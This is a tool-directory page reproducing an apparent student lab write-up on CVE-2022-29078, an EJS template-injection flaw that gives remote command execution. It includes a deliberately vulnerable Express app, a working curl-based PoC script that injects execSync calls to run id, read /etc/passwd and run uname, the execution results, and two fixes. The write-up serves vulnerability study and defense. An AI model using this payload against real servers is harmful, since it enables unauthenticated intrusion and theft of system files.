Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-29078 | Kitploit
Tools/GitHubGitHub/taka3636/cve-2022-29078
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubtaka3636/cve-2022-29078

CVE-2022-29078

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-29078 | EJS SSTI → RCE

White Hat School 4th (Class 32) - Sangbeom Woo (@taka3636)


Summary

EJS < 3.1.7 server-side template injection (SSTI) vulnerability (CVE-2022-29078) allows remote arbitrary command execution (RCE) without authentication. This document configures a vulnerable environment with Docker, reproduces RCE with a PoC, and verifies two countermeasures (library upgrade and safe input passing).


EJS Introduction

EJS (Embedded JavaScript templates) is a widely used template engine in the Node.js ecosystem. It creates dynamic screens by inserting JavaScript into HTML using <% %> tags, such as <h1>Hello <%= id %></h1>. Internally, EJS compiles the template string into a JavaScript function and then executes it to generate the final HTML. In other words, it is a code generator that "converts text (template) into executable code (function)", and this property is the fundamental background of this vulnerability.


CVE-2022-29078 Introduction

EJS < 3.1.7 inserts the value of the render option outputFunctionName into the compiled function source without validation. If the application passes user input directly as a render option, an attacker can contaminate this option to execute arbitrary code (RCE) on the server. The server can be fully compromised remotely without authentication, making the severity very high.

  • Affected versions: EJS < 3.1.7
  • Type: Server-Side Template Injection (SSTI) → Remote Code Execution
  • Reference: NVD CVE-2022-29078

Environment Setup

root@kitploit:~
EJS/CVE-2022-29078/
├── docker-compose.yml     # 127.0.0.1 바인딩(격리)
├── Dockerfile             # node:18.20.4 (버전 고정)
├── app/
│   ├── server.js          # 취약 Express 앱
│   ├── package.json       # ejs 3.1.6 정확 고정
│   └── views/page.ejs
├── poc.sh                 # PoC 실행 스크립트
└── 1.png ~ 8.png          # 스크린샷
  • Runtime: Node.js 18.20.4 fixed
  • Vulnerable library: ejs 3.1.6 (pinned exactly without caret/tilde — using ^/~ would install patched version, making reproduction impossible)
  • Web framework: express 4.18.2
  • No external custom image dependencies; completed with a single docker compose up -d --build.


Vulnerability Conditions

The attack is possible when the following two conditions hold simultaneously.

  1. Library flaw: ejs < 3.1.7 inserts outputFunctionName into code without validation
  2. Unsafe usage: The app passes user input entirely as render options
root@kitploit:~
// app/server.js — 취약 지점
app.get('/page', (req, res) => {
  res.render('page', req.query);   // req.query 전체를 렌더 옵션으로 전달
});

Express passes user input (req.query) entirely as render options to EJS in res.render('page', req.query). At this point, the qs parser parses bracket notation like settings[view options][outputFunctionName] as nested objects, and that value gets merged into the EJS compile option outputFunctionName. In other words, the code (function) planted by the user in the option slot gets attached to the options and passed along to EJS. EJS inserts this value before the compiled function as follows:

root@kitploit:~
var <outputFunctionName값> = __append;

If the value is legitimate, it's harmless like var myOut = __append;, but if you break the statement with a semicolon and insert code, that code will execute as-is when the compiled function runs. By placing execSync(...) at this position, you can read specific files or execute system commands.


Reproduction Steps

Prerequisites: Docker + Docker Compose installed, internet connection during build.

root@kitploit:~
# 1) 클론 후 폴더 이동
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078

# 2) 빌드 및 기동
docker compose up -d --build
docker compose ps

# 3) 정상 동작 확인
curl "http://127.0.0.1:3000/page?id=world"     # -> <h1>Hello world</h1>

# 4) PoC 실행
bash poc.sh

# 5) 정리
docker compose down


PoC Code

poc.sh — Uses outputFunctionName option injection to execute three commands on the server and retrieve the results. [1] id (execution entity), [2] /etc/passwd (arbitrary file read), [3] uname (execution location).

root@kitploit:~
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"

run() {   # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
  curl -g -s -o /dev/null \
    "${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
  docker compose exec -T vuln-ejs cat /tmp/out
}

echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
  • curl -g : Mandatory to prevent URL brackets from being interpreted as glob (without it, curl: (3) bad range)
  • Encoding: space %20, redirect > %3E

Execution Results

Result of running poc.sh. A normal request (id=world) returns only Hello world, but the commands injected via outputFunctionName injection are executed on the server and their output is retrieved.

  • [1] id → uid=0(root) gid=0(root) : Injected commands are executed with root privileges.
  • [2] /etc/passwd → The system account file contents are returned as-is: Arbitrary files on the server can be read (confidentiality breach).
  • [3] uname → The hostname is 326f6f1b04b3 (container ID), different from the VM hostname (ubuntu-QEMU-Virtual-Machine): This proves that the command was executed inside the container, not on the host. In other words, root privileges are not due to sudo but stem from the vulnerable server process (container node = default root).

With a single unauthenticated remote request, root privilege command execution and arbitrary file read are possible = CVE-2022-29078.


Countermeasures

Countermeasure 1 — Library Upgrade (Fundamental Fix)

Upgrade ejs in package.json to 3.1.7 or higher. 3.1.7+ validates outputFunctionName with the regex /^[a-zA-Z_$][0-9a-zA-Z_$]*$/, rejecting non-identifier characters like semicolons, so the same attack is blocked before code execution.

root@kitploit:~
Error: outputFunctionName is not a valid JS identifier.

Countermeasure 2 — Safe Input Passing (Application Defense)

Even with the vulnerable version (3.1.6), if you pass only the necessary values instead of user input entirely, the settings[view options] merge path disappears, making option contamination impossible. Normal functionality is maintained.

root@kitploit:~
// 변경 전 (취약)
res.render('page', req.query);
// 변경 후 (안전)
res.render('page', { id: req.query.id });

Recommendation: Apply both library updates (fundamental fix) and minimal user input passing (defense in depth). Additionally, running the container as a non-root user can reduce the damage scope in case of RCE.


References

  • NVD - CVE-2022-29078
  • EJS GitHub - mde/ejs
Download Tool